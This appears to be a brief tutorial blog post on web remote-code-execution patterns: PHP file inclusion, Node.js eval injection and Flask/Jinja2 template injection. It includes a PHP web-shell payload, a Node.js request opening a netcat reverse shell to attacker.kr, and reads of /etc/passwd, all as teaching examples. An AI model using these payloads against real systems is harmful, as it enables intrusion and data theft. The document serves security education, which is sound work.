archiveDec 25, 2021
Web application RCE patterns
Short notes on common remote code execution paths in PHP file inclusion, Node.js eval/injection, and Flask/Jinja2 server-side template injection.
Quick start
Web application RCE cases
PHP
- File inclusion, file upload, …
Node.js
- Code injection, unserialize, …
Flask
- Server-side template injection, …
RCE case 1 — PHP
File inclusion
PHP include can pull text, code, or markup into another PHP file.
<?php
include $_GET[file];
?>If the target can include attacker-controlled content, uploading (or hosting) a payload and including it is enough for RCE.
request
# > https://victim.kr/index.php?file=https://attacker.kr/payload.txt&cmd=idpayload.txt
<?php
echo shell_exec($_GET[cmd]);
?>response
uid=20080 gid=1001 groups=1001Once the attacker's payload is included, the request drives whatever the payload exposes.
File inclusion technique
Useful include targets
/etc/passwd— Linux account list [local file]/proc/self/maps— process memory map [local file]/var/www/html/[payload.*]— PHP that can execute [local file]https://attacker.kr/payload.txt— PHP that can execute [remote file]
Functions worth trying
echo "data";— print textphpinfo();— dump PHP configurationsystem("id")— run viasystempassthru("id")— run viapassthrufile_put_contents("/tmp/test.txt", "data")— write/create a filefile_get_contents("/tmp/test.txt")— read a file
RCE case 2 — Node.js
Node.js code injection
request
//> http://victim.kr/api/v1/data/require("child_process").exec("nc -e /bin/sh attacker.kr 8080")attacker server
# nc -lvp 8888If a path, query, or similar input is evaluated as JavaScript inside the app, the request above can land a reverse shell.
Internal shape on victim.kr
...
eval(data_input); // data_input은 위의 request에서 전달받은 데이터
...The input string is passed to eval and runs as JavaScript.
Node.js code injection technique
fs class
require('fs') lets you list, read, write, and delete files on the host.
readdir()
readdir() / readdirSync() list a directory. The Sync form is just the blocking version.
var fs = require('fs');
fs.readdir('.').toString('utf8');
fs.readdir('..').toString('utf8');readFile()
After you know the layout, readFile() / readFileSync() read file contents.
var fs = require('fs');
fs.readFile('/etc/passwd').toString('utf8');Child process
child_process can spawn child processes via spawn(), fork(), exec(), execFile(), and related helpers. spawn() returns a stream; exec() returns the full buffered output.
Ncat
After the payload runs, Ncat is a common way to catch a reverse shell.
// > http://victim.kr/api/v1/data/require("child_process").exec("nc -e /bin/sh attacker.kr 8080")
// < nc -lvp 8888RCE case 3 — Flask / Jinja2
Flask server-side template injection
Server-side template injection happens when user input that reaches a template engine is rendered as template syntax, so the engine evaluates attacker-controlled expressions.
Internal server shape on victim.kr
def index():
return render_template_string(
'<h1>{{ request.args.get("input") }}</h1>'
)request
# http://victim.kr/?input={{4*4}}response
# > <h1>16</h1>The handler takes input from the query string and feeds it into render_template_string. Sending {{4*4}} makes the engine evaluate the expression and return 16.